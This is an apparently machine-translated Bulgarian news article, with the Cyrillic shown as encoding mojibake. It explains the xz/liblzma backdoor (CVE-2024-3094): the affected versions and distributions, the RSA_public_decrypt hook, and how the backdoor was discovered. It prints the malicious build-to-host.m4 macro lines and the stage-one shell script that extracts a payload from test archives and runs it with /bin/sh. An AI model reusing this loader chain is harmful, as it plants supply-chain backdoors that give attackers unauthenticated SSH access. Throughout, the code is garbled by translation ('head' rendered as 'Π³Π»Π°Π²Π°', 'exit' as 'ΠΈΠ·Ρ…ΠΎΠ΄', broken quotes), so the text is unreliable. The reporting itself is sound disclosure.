Π‘Π΅ΡˆΠ΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° Π·Π°Π΄Π½Π° Π²Ρ€Π°Ρ‚Π° Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° xz/liblzma, която позволява Π²Π»ΠΈΠ·Π°Π½Π΅ ΠΏΡ€Π΅Π· sshd

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π° XZ Utils, ΠΊΠΎΠΉΡ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π²Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° liblzma ΠΈ ΠΏΠΎΠΌΠΎΡ‰Π½ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с компрСсирани Π΄Π°Π½Π½ΠΈ във Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ β€ž.xzβ€œ, Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π° Π·Π°Π΄Π½Π° Π²Ρ€Π°Ρ‚Π° (CVE-2024-3094), която позволява ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅Ρ‚ΠΎ ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π°Π½ΠΈ ΠΎΡ‚ ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ прилоТСния с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° liblzma. ΠžΡΠ½ΠΎΠ²Π½Π°Ρ‚Π° Ρ†Π΅Π» Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° Π΅ ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ OpenSSH, ΠΊΠΎΠΉΡ‚ΠΎ Π² някои дистрибуции Π΅ Π² ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚ с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° libsystemd, която ΠΎΡ‚ своя страна ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° liblzma. Π‘Π²ΡŠΡ€Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° sshd с уязвима Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° позволява Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ SSH ΡΡŠΡ€Π²ΡŠΡ€Π° Π±Π΅Π· удостовСряванС.

Π—Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ° ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π°ΡˆΠ΅ Π² ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»Π½ΠΈΡ‚Π΅ вСрсии 5.6.0 ΠΈ 5.6.1, ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½ΠΈ Π½Π° 24 Ρ„Π΅Π²Ρ€ΡƒΠ°Ρ€ΠΈ ΠΈ 9 ΠΌΠ°Ρ€Ρ‚, ΠΊΠΎΠΈΡ‚ΠΎ успяха Π΄Π° влязат Π² някои дистрибуции ΠΈ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ΠΈ 40-Π±Π΅Ρ‚Π°, openSUSE factory ΠΈ tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. На всички ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π½Π° xz вСрсии 5.6.0 ΠΈ 5.6.1 сС ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΡ‡Π²Π° спСшно Π΄Π° сС Π²ΡŠΡ€Π½Π°Ρ‚ към вСрсия 5.4.6.

Π‘Ρ€Π΅Π΄ Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΡ‚Π΅, смСкчаващи ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ вСрсията Π½Π° liblzma със Π·Π°Π΄Π½Π° Π²Ρ€Π°Ρ‚Π° Π½Π΅ успя Π΄Π° станС част ΠΎΡ‚ стабилнитС вСрсии Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ дистрибуции, Π½ΠΎ засСгна openSUSE Tumbleweed ΠΈ Fedora 40-beta. Arch Linux ΠΈ Gentoo ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° уязвима вСрсия Π½Π° zx, Π½ΠΎ Π½Π΅ са ΠΏΠΎΠ΄Π°Ρ‚Π»ΠΈΠ²ΠΈ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, Π·Π°Ρ‰ΠΎΡ‚ΠΎ Π½Π΅ ΠΏΡ€ΠΈΠ»Π°Π³Π°Ρ‚ корСкцията systemd-notify към openssh, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΊΠ°Ρ€Π° sshd Π΄Π° бъдС ΡΠ²ΡŠΡ€Π·Π°Π½ с liblzma. Π—Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ° засяга само x86_64 систСми, Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° ядрото Π½Π° Linux ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° Glibc C.

ΠšΠΎΠ΄ΡŠΡ‚ Π·Π° Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° бСшС скрит Π² m4 макроси ΠΎΡ‚ Ρ„Π°ΠΉΠ»Π° build-to-host.m4, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ ΠΎΡ‚ инструмСнтариума automake ΠΏΡ€ΠΈ ΠΈΠ·Π³Ρ€Π°ΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ. По Π²Ρ€Π΅ΠΌΠ΅ Π½Π° асСмблиранСто, ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° слоТни обфусцирани ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° Π°Ρ€Ρ…ΠΈΠ²ΠΈ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° тСстванС Π½Π° корСктността Π½Π° опСрацията, бСшС Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½ ΠΎΠ±Π΅ΠΊΡ‚Π΅Π½ Ρ„Π°ΠΉΠ» със Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡ‚ΠΎ бСшС Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° liblzma ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ Π»ΠΎΠ³ΠΈΠΊΠ°Ρ‚Π° Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° някои ΠΎΡ‚ Π½Π΅ΠΉΠ½ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ΠœΠ°ΠΊΡ€ΠΎΡΠΈΡ‚Π΅ m4, ΠΊΠΎΠΈΡ‚ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Ρ‚ Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ°, бяха Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈ Π² tarballs Π½Π° ΠΈΠ·Π΄Π°Π½ΠΈΠ΅Ρ‚ΠΎ, Π½ΠΎ Π½Π΅ бяха Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ Π½Π° Git. Π’ ΡΡŠΡ‰ΠΎΡ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π°Ρ…Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ тСстови Π°Ρ€Ρ…ΠΈΠ²ΠΈ, Ρ‚.Π΅. Π»ΠΈΡ†Π΅Ρ‚ΠΎ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ Π²Π½Π΅Π΄Ρ€ΠΈΠ»ΠΎ Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ°, Π΅ ΠΈΠΌΠ°Π»ΠΎ Π΄ΠΎΡΡ‚ΡŠΠΏ ΠΊΠ°ΠΊΡ‚ΠΎ Π΄ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ, Ρ‚Π°ΠΊΠ° ΠΈ Π΄ΠΎ процСситС Π½Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½Π΅ Π½Π° вСрсия.

ΠšΠΎΠ³Π°Ρ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ liblzma Π² прилоТСния, Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΈΠ»ΠΈ Π΄Π° повлияят Π½Π° Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚Π° Π½Π° sshd. По-спСциално, злонамСрСният ΠΊΠΎΠ΄ Π΅ ΠΏΠΎΠ΄ΠΏΡ€Π°Π²ΠΈΠ» функцията RSA_public_decrypt, Π·Π° Π΄Π° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΠΈ процСса Π½Π° удостовСряванС Π½Π° sshd. Π—Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ° Π²ΠΊΠ»ΡŽΡ‡Π²Π°ΡˆΠ΅ Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ ΠΈ Π½Π΅ сС ΠΏΡ€ΠΎΡΠ²ΡΠ²Π°ΡˆΠ΅, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈΡ‚Π΅ Π½Π° срСдата LANG ΠΈ TERM бяха Π·Π°Π΄Π°Π΄Π΅Π½ΠΈ (Ρ‚.Π΅. ΠΏΡ€ΠΈ стартиранС Π½Π° процСса Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π°) ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈΡ‚Π΅ Π½Π° срСдата LD_DEBUG ΠΈ LD_PROFILE Π½Π΅ бяха Π·Π°Π΄Π°Π΄Π΅Π½ΠΈ, ΠΈ ΡΡŠΡ‰ΠΎ бСшС Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π° само ΠΏΡ€ΠΈ изпълнСниС Π½Π° /usr/sbin/sshd изпълним Ρ„Π°ΠΉΠ». Π—Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° ΡΡŠΡ‰ΠΎ имашС срСдство Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° изпълнСниС Π² срСди Π·Π° отстраняванС Π½Π° Π³Ρ€Π΅ΡˆΠΊΠΈ.

По-спСциално, Ρ„Π°ΠΉΠ»ΡŠΡ‚ m4/build-to-host.m4 ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° gl_am_configmake=`grep -aErls β€œ#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_прСфикс -d 2>/dev/null'

Π’ ΠΏΡŠΡ€Π²Π°Ρ‚Π° конструкция опСрацията grep Π½Π°ΠΌΠ΅Ρ€ΠΈ Ρ„Π°ΠΉΠ»Π° tests/files/bad-3-corrupt_lzma2.xz, ΠΊΠΎΠΉΡ‚ΠΎ, ΠΊΠΎΠ³Π°Ρ‚ΠΎ сС Ρ€Π°Π·ΠΎΠΏΠ°ΠΊΠΎΠ²Π°, Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π° скрипта: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ΠΈΠ·Ρ…ΠΎΠ΄ 0 [ ! $(uname) = "Linux" ] && ΠΈΠ·Ρ…ΠΎΠ΄ 0 [ ! $(uname) = "Linux" ] && ΠΈΠ·Ρ…ΠΎΠ΄ 0 [ ! $(uname) = "Linux" ] && ΠΈΠ·Ρ…ΠΎΠ΄ 0 [ ! $(uname) = "Linux" ] && ΠΈΠ·Ρ…ΠΎΠ΄ 0 eval `grep ^srcdir= config.status` if test -f ../../config.status; then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi СкспортиранС i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && Π³Π»Π°Π²Π° -c +2048 && (Π³Π»Π°Π²Π° -c +1024 >/dev/null) && Π³Π»Π°Π²Π° -c +2048 && (Π³Π»Π°Π²Π° -c +1024 >/dev/null) && Π³Π»Π°Π²Π° -c +939)"; (xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw β€”lzma1 -dc|/bin/sh ####Бвят####

ВсС ΠΎΡ‰Π΅ Π½Π΅ Π΅ напълно изяснСно ΠΊΠ°ΠΊ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ са успСли Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ инфраструктурата Π½Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° xz. Π‘ΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° всС ΠΎΡ‰Π΅ Π½Π΅ Π΅ ясно ΠΊΠΎΠ»ΠΊΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈ са Π±ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π°. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΈΡΡ‚ Π°Π²Ρ‚ΠΎΡ€ Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° (JiaT75 - Jia Tan), ΠΊΠΎΠΉΡ‚ΠΎ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π° Π°Ρ€Ρ…ΠΈΠ²ΠΈ със Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ ΠΊΠΎΠ΄ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ, корСспондира с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° Fedora ΠΈ ΠΈΠ·ΠΏΡ€Π°Ρ‰Π° заявки Π·Π° изтСглянС Π½Π° Debian, ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с ΠΏΡ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° дистрибуции към ΠΊΠ»ΠΎΠ½Π° xz 5.6.0, ΠΈ Π½Π΅ Π±ΡƒΠ΄ΠΈ ΠΏΠΎΠ΄ΠΎΠ·Ρ€Π΅Π½ΠΈΠ΅, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Ρ‚ΠΎΠΉ участва Π² xz сС Ρ€Π°Π·Π²ΠΈΠ²Π° ΠΏΡ€Π΅Π· послСднитС Π΄Π²Π΅ Π³ΠΎΠ΄ΠΈΠ½ΠΈ ΠΈ Π΅ вторият Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Π½Π° броя Π½Π° Π½Π°ΠΏΡ€Π°Π²Π΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ. Π’ допълнСниС към ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° xz, прСдполагаСмият Π°Π²Ρ‚ΠΎΡ€ Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚ΠΈΡ‡ΠΊΠ° ΡΡŠΡ‰ΠΎ участва Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈΡ‚Π΅ xz-java ΠΈ xz-embedded. ОсвСн Ρ‚ΠΎΠ²Π°, Jia Tan ΠΏΡ€Π΅Π΄ΠΈ няколко Π΄Π½ΠΈ бСшС Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² броя Π½Π° ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Ρ‰ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° XZ Embedded, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π² ядрото Π½Π° Linux.

Π—Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π°Ρ‚Π° промяна бСшС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° слСд Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° ΠΏΡ€Π΅ΠΊΠΎΠΌΠ΅Ρ€Π½ΠΎΡ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ Π½Π° процСсора ΠΈ Π³Ρ€Π΅ΡˆΠΊΠΈΡ‚Π΅, Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½ΠΈ ΠΎΡ‚ valgrind ΠΏΡ€ΠΈ ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ Ρ‡Ρ€Π΅Π· ssh към систСми, Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° Debian. Врябва Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ ΠΈΠ·Π΄Π°Π½ΠΈΠ΅Ρ‚ΠΎ xz 5.6.1 Π²ΠΊΠ»ΡŽΡ‡Π²Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ, ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²Π΅Π½ΠΈ ΠΎΡ‚ прСдполагаСмия Π°Π²Ρ‚ΠΎΡ€ Π½Π° Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° Π² ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π½Π° оплаквания Π·Π° забавянС Π½Π° sshd ΠΈ сривовС, възникнали слСд Π½Π°Π΄Π³Ρ€Π°ΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ Π΄ΠΎ вСрсията zx 5.6.0 със Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π°. ОсвСн Ρ‚ΠΎΠ²Π°, ΠΌΠΈΠ½Π°Π»Π°Ρ‚Π° Π³ΠΎΠ΄ΠΈΠ½Π° Jia Tan Π½Π°ΠΏΡ€Π°Π²ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ бяха Π½Π΅ΡΡŠΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΈ с Ρ€Π΅ΠΆΠΈΠΌΠ° Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° β€ž-fsanitize=addressβ€œ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΄ΠΎΠ²Π΅Π΄Π΅ Π΄ΠΎ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ ΠΌΡƒ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° тСстванС Π½Π° Ρ€Π°Π·ΠΌΠΈΡ‚ΠΈΡ‚Π΅ Π΅Π»Π΅ΠΌΠ΅Π½Ρ‚ΠΈ.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€